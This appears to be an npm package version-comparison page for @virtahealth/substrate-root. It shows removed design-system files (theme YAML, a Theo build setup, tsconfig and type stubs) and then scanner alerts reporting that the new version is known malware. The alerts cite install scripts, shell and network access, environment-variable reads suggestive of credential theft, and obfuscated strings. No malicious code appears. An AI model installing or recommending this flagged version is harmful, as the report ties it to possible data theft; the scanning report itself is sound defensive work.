		value: '{!FONT_WEIGHT_5}'
		type: number
		text__monospace__lineHeight:
		value: '{!FONT_SIZE_4}'
		type: size

-14

packages/styles/src/themes/base-high-contrast/button.yml

		global:
		category: button
		imports:
		- ../../aliases/color.yml
		props:
		# Primary Button
		button__primary__backgroundColor:
		value: '{!OXYGEN_BLUE_900}'
		type: color

		# Secondary Button
		button__secondary__borderColor:
		value: '{!CALCIUM_BLUE_900}'
		type: color

-4

packages/styles/src/themes/base-high-contrast/index.yml

		imports:
		- '../base/index.yml'
		- './text.yml'
		- './button.yml'

-49

packages/styles/src/themes/base-high-contrast/text.yml

		global:
		category: text
		imports:
		- ../../aliases/color.yml
		props:
		# Body Text
		text__body__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

		# Heading 1
		text__heading1__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Heading 2
		text__heading2__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Heading 3
		text__heading3__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Heading 4
		text__heading4__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

		# Smallcaps
		text__smallcaps__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

		# Blockquote
		text__blockquote__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Caption
		text__caption__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

		# Monospace
		text__monospace__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

-112

packages/styles/src/themes/base/button.yml

		global:
		category: button
		imports:
		- ../../aliases/color.yml
		- ../../aliases/space.yml
		- ../../aliases/font-size.yml
		- ../../aliases/font-family.yml
		- ../../aliases/font-weight.yml
		props:
		# [category]__[variant]__[?state]__[property]
		#
		# Base Button
		button__base__minHeight:
		value: 2.75rem
		type: size
		button__base__paddingHorizontal:
		value: '{!SPACE_3}'
		type: size
		button__base__borderRadius:
		value: '{!SPACE_8}'
		type: size

		# Base Button Text
		button__base__text__fontFamily:
		value: '{!FONT_FAMILY_SANS_SERIF_MEDIUM_POSTSCRIPT}'
		type: font-family
		button__base__text__fontSize:
		value: '{!FONT_SIZE_5}'
		type: size
		button__base__text__fontWeight:
		value: '{!FONT_WEIGHT_6}'
		type: number
		button__base__text__lineHeight:
		value: 2.75rem
		type: size
		button__base__text__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Primary Button
		button__primary__minHeight:
		value: 2.75rem
		type: size
		button__primary__paddingHorizontal:
		value: '{!SPACE_5}'
		type: size
		button__primary__backgroundColor:
		value: '{!OXYGEN_BLUE_700}'
		type: color
		button__primary__borderRadius:
		value: '{!SPACE_8}'
		type: size
		button__primary__active__backgroundColor:
		value: 'red'
		type: color

		# Primary Button Text
		button__primary__text__fontFamily:
		value: '{!FONT_FAMILY_SANS_SERIF_MEDIUM_POSTSCRIPT}'
		type: font-family
		button__primary__text__fontSize:
		value: '{!FONT_SIZE_5}'
		type: size
		button__primary__text__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		button__primary__text__lineHeight:
		value: 2.75rem
		type: size
		button__primary__text__color:
		value: '{!WHITE}'
		type: color

		# Secondary Button
		button__secondary__backgroundColor:
		value: '{!TRANSPARENT}'
		type: color
		button__secondary__active__backgroundColor:
		value: 'red'
		type: color
		button__secondary__borderColor:
		value: '{!CALCIUM_BLUE_500}'
		type: color
		button__secondary__borderRadius:
		value: '{!SPACE_8}'
		type: size
		button__secondary__borderWidth:
		value: 1
		type: number
		button__secondary__minHeight:
		value: 2.75rem
		type: size
		button__secondary__paddingHorizontal:
		value: '{!SPACE_5}'
		type: size

		# Secondary Button Text
		button__secondary__text__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color
		button__secondary__text__fontFamily:
		value: '{!FONT_FAMILY_SANS_SERIF_MEDIUM_POSTSCRIPT}'
		type: font-family
		button__secondary__text__fontSize:
		value: '{!FONT_SIZE_5}'
		type: size
		button__secondary__text__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		button__secondary__text__lineHeight:
		value: 2.75rem
		type: size

-3

packages/styles/src/themes/base/index.yml

		imports:
		- './button.yml'
		- './text.yml'

-205

packages/styles/src/themes/base/text.yml

		global:
		category: text
		imports:
		- ../../aliases/font-family.yml
		- ../../aliases/font-size.yml
		- ../../aliases/font-weight.yml
		- ../../aliases/color.yml
		props:
		# Base Text
		text__base__fontFamily:
		value: 'Whitney-Book'
		type: font-family
		text__base__fontSize:
		value: '{!FONT_SIZE_6}'
		type: size
		text__base__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__base__lineHeight:
		value: '{!FONT_SIZE_6}'
		type: size
		text__base__letterSpacing:
		value: 0
		type: number
		text__base__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

		# Body Text
		text__body__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color
		text__body__fontFamily:
		value: '{!FONT_FAMILY_SANS_SERIF_BOOK_POSTSCRIPT}'
		type: font-family
		text__body__fontSize:
		value: '{!FONT_SIZE_6}'
		type: size
		text__body__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__body__lineHeight:
		value: '{!FONT_SIZE_6}'
		type: size
		text__body__letterSpacing:
		value: 0
		type: number

		# Heading 1
		text__heading1__fontFamily:
		value: 'Whitney-Medium'
		type: font-family
		text__heading1__fontSize:
		value: '{!FONT_SIZE_10}'
		type: size
		text__heading1__fontWeight:
		value: '{!FONT_WEIGHT_6}'
		type: number
		text__heading1__lineHeight:
		value: '{!FONT_SIZE_10}'
		type: size
		text__heading1__letterSpacing:
		value: 0
		type: number
		text__heading1__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Heading 2
		text__heading2__fontFamily:
		value: 'Whitney-Medium'
		type: font-family
		text__heading2__fontSize:
		value: '{!FONT_SIZE_8}'
		type: size
		text__heading2__fontWeight:
		value: '{!FONT_WEIGHT_6}'
		type: number
		text__heading2__lineHeight:
		value: '{!FONT_SIZE_8}'
		type: size
		text__heading2__letterSpacing:
		value: 0
		type: number
		text__heading2__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color
		comment: Default text color

		# Heading 3
		text__heading3__fontFamily:
		value: 'Whitney-Medium'
		type: font-family
		text__heading3__fontSize:
		value: '{!FONT_SIZE_7}'
		type: size
		text__heading3__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__heading3__lineHeight:
		value: '{!FONT_SIZE_7}'
		type: size
		text__heading3__letterSpacing:
		value: 0
		type: number
		text__heading3__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Heading 4
		text__heading4__fontFamily:
		value: 'Whitney-Medium'
		type: font-family
		text__heading4__fontSize:
		value: '{!FONT_SIZE_6}'
		type: size
		text__heading4__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__heading4__letterSpacing:
		value: 0
		type: number
		text__heading4__lineHeight:
		value: '{!FONT_SIZE_6}'
		type: size
		text__heading4__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

		# Smallcaps
		text__smallcaps__fontFamily:
		value: 'Whitney-Medium'
		type: font-family
		text__smallcaps__fontSize:
		value: '{!FONT_SIZE_4}'
		type: size
		text__smallcaps__letterSpacing:
		value: 1.2
		type: number
		text__smallcaps__fontWeight:
		value: '{!FONT_WEIGHT_6}'
		type: number
		text__smallcaps__lineHeight:
		value: '{!FONT_SIZE_4}'
		type: size
		text__smallcaps__color:
		value: '{!CALCIUM_BLUE_900}'
		type: color

		# Blockquote
		text__blockquote__fontFamily:
		value: '{!FONT_FAMILY_SANS_SERIF_MEDIUM_POSTSCRIPT}'
		type: font-family
		text__blockquote__fontSize:
		value: '{!FONT_SIZE_8}'
		type: size
		text__blockquote__letterSpacing:
		value: 1
		type: number
		text__blockquote__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__blockquote__lineHeight:
		value: '{!FONT_SIZE_8}'
		type: size
		text__blockquote__color:
		value: '{!CALCIUM_BLUE_500}'
		type: color

		# Caption
		text__caption__fontFamily:
		value: '{!FONT_FAMILY_SANS_SERIF_BOOK_POSTSCRIPT}'
		type: font-family
		text__caption__fontSize:
		value: '{!FONT_SIZE_2}'
		type: size
		text__caption__letterSpacing:
		value: 0
		type: number
		text__caption__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__caption__lineHeight:
		value: '{!FONT_SIZE_2}'
		type: size
		text__caption__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

		# Monospace
		text__monospace__fontFamily:
		value: '{!FONT_FAMILY_SANS_SERIF_BOOK_POSTSCRIPT}'
		type: font-family
		text__monospace__fontSize:
		value: '{!FONT_SIZE_6}'
		type: size
		text__monospace__fontWeight:
		value: '{!FONT_WEIGHT_5}'
		type: number
		text__monospace__lineHeight:
		value: '{!FONT_SIZE_6}'
		type: size
		text__monospace__color:
		value: '{!CALCIUM_BLUE_700}'
		type: color

-87

packages/styles/src/theoSetup.ts

		import * as theo from 'theo'
		import {
		createThemeObjectFromStyles,
		createPrimitivesFromStyles,
		} from './helpers/styleMap'

		/*
		* This file is passed as a setup file to Theo in ./build.ts.
		*
		* Below, we register some formats that Theo doesn't natively
		* handle, or we modify existing formats for our particular needs.
		*
		* We also build a separate module containing the styles from ./primitives.
		* These style primitives are strictly for generating visual documentation
		* in the Substrate Docs and Storybook. Do not use these in components
		* directly; instead use themes as an interface for styling components.
		*
		*/

		// 'export = ' compiles to CommonJS 'module.exports' syntax required by Theo
		export = ({
		registerFormat,
		registerValueTransform,
		registerTransform,
		}: typeof theo) => {
		// Transpile styles to ES2015 modules
		registerFormat(
		'js',
		styleMap =>
		`export default ${JSON.stringify(createThemeObjectFromStyles(styleMap))}`
		)

		// Register a typescript declaration format for the Theme object
		registerFormat(
		'd.ts',
		styleMap =>
		`export declare const _default: ${JSON.stringify(
		createThemeObjectFromStyles(styleMap)
		)}
		`
		)

		// Register a custom ES2015 module format that contains a Theme object,
		// or a map of styles organized by category to assist with theming
		registerFormat('primitives.js', styleMap => {
		return `export default ${JSON.stringify(
		createPrimitivesFromStyles(styleMap)
		)}`
		})

		// Output Primitives as CSS Module values
		registerFormat(
		'primitives.css',
		`
		{{#each (sortBy props "category" "name")}}
		@value {{name}}: {{value}};
		{{/each}}
		`
		)

		// Register a typescript declaration format for the Theme object
		registerFormat(
		'primitives.d.ts',
		styleMap =>
		`export declare const _default: ${JSON.stringify(
		createPrimitivesFromStyles(styleMap)
		)}
		`
		)

		// Converts rem unit string to px and returns it as an int, e.g. '1rem' -> 16
		registerValueTransform(
		'relative/pixelValueInt',
		prop => prop.get('type') === 'size',
		prop => {
		const value = prop.get('value').toString()
		// 1rem = 16px
		return parseFloat(value.replace(/rem/g, '')) * 16
		}
		)

		// Convert .rem units to whole integer pixel values for React Native and
		registerTransform('reactnative', ['relative/pixelValueInt'])

		// Convert .rem units to whole integer pixel values
		registerTransform('primitives', ['relative/pixelValueInt'])
		}

-17

packages/styles/tsconfig.json

		{
		"extends": "../../tsconfig.base.json",
		"include": ["src"],
		"compilerOptions": {
		"stripInternal": true,
		"sourceMap": false,
		"outDir": "./built",
		// Required to support Theo
		"module": "commonjs",
		"target": "es2017",
		// There are currently global type collisions between Node, React Native, and lib.dom.d.ts.
		// For example, all three libraries export a 'console' and 'require' interface.
		// For now, we'll ignore these errors until we figure out a better long-term solution.
		"skipLibCheck": true,
		"esModuleInterop": true
		}
		}

-24

packages/styles/typings/index.d.ts

		export type Transform = 'reactnative' \| 'web' \| 'primitives'
		export type Format = 'js' \| 'd.ts' \| 'primitives.js' \| 'primitives.d.ts'

		export type ThemeCategory =
		\| 'border'
		\| 'box-shadow'
		\| 'button'
		\| 'color'
		\| 'space'
		\| 'size'
		\| 'text'
		\| 'z-index'

		export type ThemeStyle = {
		name: string
		value: string \| number
		type: string
		originalValue: string
		category: ThemeCategory
		comment?: string
		meta?: string
		}

		export type Theme = { [k in ThemeCategory]?: { [style: string]: ThemeStyle } }

-6

packages/types/CHANGELOG.md

		<img src="https://s3-us-west-2.amazonaws.com/ketoaccountimagesprod/virta-logo-email.png" width="70">

		# Change Log

		All notable changes to this project will be documented in this file.
		See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.

-7

packages/types/enrollment-app/index.d.ts

		/// <reference path="../global.d.ts" />

		// tslint:disable-next-line:export-just-namespace
		export = EnrollmentApp
		export as namespace EnrollmentApp

		declare namespace EnrollmentApp {}

packages/types/global.d.ts

-13

packages/types/package.json

		{
		"name": "@virtahealth/substrate-types",
		"description": "Substrate Types",
		"version": "1.0.0",
		"license": "MIT",
		"author": "Virta",
		"main": ".",
		"sideEffects": false,
		"private": true,
		"peerDependencies": {
		"typescript": "3.9.5"
		}
		}

-7

packages/types/patient-app/index.d.ts

		/// <reference path="../global.d.ts" />

		// tslint:disable-next-line:export-just-namespace
		export = PatientApp
		export as namespace PatientApp

		declare namespace PatientApp {}

-5

packages/types/README.md

		<img src="https://s3-us-west-2.amazonaws.com/ketoaccountimagesprod/virta-logo-email.png" width="70">

		# Substrate Types

		Type definitions for TypeScript projects at Virta.

-7

packages/types/spark/index.d.ts

		/// <reference path="../global.d.ts" />

		// tslint:disable-next-line:export-just-namespace
		export = Spark
		export as namespace Spark

		declare namespace Spark {}

-13

renovate.json

		{
		"extends": ["virta"],
		"ignoreDeps": [
		"react",
		"react-art",
		"react-dom",
		"react-native",
		"react-native-web",
		"@types/react",
		"@types/react-dom",
		"@types/react-native"
		]
		}

-13

tsconfig.base.json

		{
		"compilerOptions": {
		"target": "esnext",
		"module": "commonjs",
		"declaration": true,
		"moduleResolution": "node",
		"sourceMap": true,
		"alwaysStrict": true,
		"strict": true,
		"noUnusedLocals": true,
		"esModuleInterop": true
		}
		}

-3

tsconfig.json

		{
		"extends": "./tsconfig.base.json"
		}

New alerts

Known malware

Supply chain risk

This package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.

Found 2 instances in 1 package

Install scripts

Supply chain risk

Install scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.

Found 1 instance in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 1 instance in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Environment variable access

Supply chain risk

Package accesses environment variables, which may be a sign of credential stuffing or data theft.

Found 3 instances in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

No contributors or author data

Maintenance

Package does not specify a list of contributors or an author in package.json.

Found 1 instance in 1 package

No repository

Supply chain risk

Package does not have a linked source code repository. Without this field, a package will have no reference to the location of the source code use to generate the package.

Found 1 instance in 1 package

URL strings

Supply chain risk

Package contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.

Found 1 instance in 1 package

Fixed alerts

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpopular package

Quality

This package is not very popular.

Found 1 instance in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

URL strings

Supply chain risk

Package contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.

Found 1 instance in 1 package

@virtahealth/substrate-root - npm Package Compare versions

New alerts

Fixed alerts

Improved metrics

Worsened metrics